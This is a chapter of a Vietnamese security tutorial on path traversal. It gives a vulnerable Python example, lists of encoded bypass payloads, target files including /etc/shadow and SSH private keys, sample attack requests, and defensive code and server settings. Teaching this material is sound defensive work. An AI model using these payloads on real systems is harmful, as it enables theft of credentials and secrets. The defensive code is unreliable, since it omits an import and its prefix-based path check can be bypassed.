Skip to main content

Chương 18: Path Traversal

Khái niệm

Path Traversal (Directory Traversal — Duyệt thư mục) là lỗ hổng cho phép hacker đọc (đôi khi ghi) files ngoài thư mục được phép bằng cách dùng sequences như ../ để leo ra khỏi intended directory.

Mức độ nguy hiểm: Cao — Đọc /etc/passwd, config files, private keys, source code.


Cách hoạt động

# Vulnerable code: load ảnh theo filename từ user
def serve_image(filename):
path = f"/var/www/app/images/{filename}"
return open(path, 'rb').read()

# Normal: filename = "profile.jpg"
# Path: /var/www/app/images/profile.jpg → OK

# Attack: filename = "../../../etc/passwd"
# Path: /var/www/app/images/../../../etc/passwd
# Resolved: /etc/passwd → lộ!

Bypass Techniques

Basic

../../../etc/passwd
..%2F..%2F..%2Fetc%2Fpasswd URL encoded
..%252F..%252Fetc%252Fpasswd Double URL encoded
....//....//etc/passwd (khi filter strip ../)
..././..././etc/passwd (khi filter strip ../)
/etc/passwd Absolute path

Null Byte (PHP <= 5.3.4)

../../../etc/passwd%00.jpg
→ Null byte truncate: path = /etc/passwd (bỏ .jpg)

Encode Variations

%2e%2e%2f → ../
%2e%2e/ → ../
..%2f → ../
%2e./ → ../
.%2e/ → ./
%252e%252e%252f → ../ (double encoded)
..%c0%af → ../ (overlong UTF-8)
..%c1%9c → ../ (overlong UTF-8)

Target Files

# Linux
/etc/passwd # Usernames, shells
/etc/shadow # Password hashes
/etc/hosts # Hostname mapping
/proc/self/environ # Environment variables
/proc/self/cmdline # Process command line
~/.ssh/id_rsa # SSH private key
/var/log/apache2/access.log # Access logs
/var/log/nginx/error.log # Error logs
/etc/nginx/nginx.conf # Nginx config
/app/.env # App environment variables
/var/www/html/config.php # PHP config

# Windows
C:\Windows\System32\drivers\etc\hosts
C:\Windows\win.ini
C:\inetpub\wwwroot\web.config
..\..\..\Windows\win.ini # Windows path separator

Kịch bản tấn công

Target: App cho phép download reports theo filename

GET /api/download?file=report_2024.pdf

Attack:
GET /api/download?file=../../../../etc/passwd

Nếu bị filter:
GET /api/download?file=..%2F..%2F..%2F..%2Fetc%2Fpasswd
GET /api/download?file=....//....//....//....//etc/passwd

Phòng chống

import os
from pathlib import Path

def serve_file_safe(filename: str, base_dir: str = '/var/www/app/uploads'):
# Validate: chỉ alphanumeric, dot, dash, underscore
if not re.match(r'^[a-zA-Z0-9._-]+$', filename):
raise ValueError("Invalid filename")

# Resolve real path
base = Path(base_dir).resolve()
requested = (base / filename).resolve()

# Verify file là con của base directory
if not str(requested).startswith(str(base)):
raise ValueError("Path traversal detected")

if not requested.exists():
raise FileNotFoundError("File not found")

return requested.read_bytes()

# Hoặc dùng os.path
def is_safe_path(base_dir, requested_path):
base = os.path.realpath(base_dir)
resolved = os.path.realpath(os.path.join(base_dir, requested_path))
return resolved.startswith(base)

Góc nhìn DevOps

Nginx: chroot-like file serving:

# Nginx alias thay vì root — hạn chế path
location /downloads/ {
alias /var/uploads/;

# Chỉ serve certain file types
location ~* \.(pdf|xlsx|csv)$ {
add_header Content-Disposition "attachment";
}

# Block mọi thứ khác
location ~ {
return 403;
}
}

Container: Read-only filesystem:

securityContext:
readOnlyRootFilesystem: true # Root FS read-only
# Nếu có path traversal, không ghi được file

Tóm tắt

  • Path traversal: ../ để thoát khỏi thư mục mục tiêu.
  • Bypass: URL encoding, double encoding, null byte, stripped sequence bypass.
  • Phòng chống: validate filename, check resolved path nằm trong base directory.
  • Lưu files bên ngoài webroot và không dùng user input trực tiếp làm filename.

Câu hỏi ôn tập

  1. Tại sao filter đơn giản loại bỏ ../ không đủ để phòng chống path traversal?
  2. Null byte attack hoạt động như thế nào với path traversal?
  3. Làm thế nào để verify đường dẫn file nằm trong thư mục được phép?
  4. Trên Windows, path traversal có gì khác so với Linux?
  5. realpath() giúp gì trong việc phòng chống path traversal?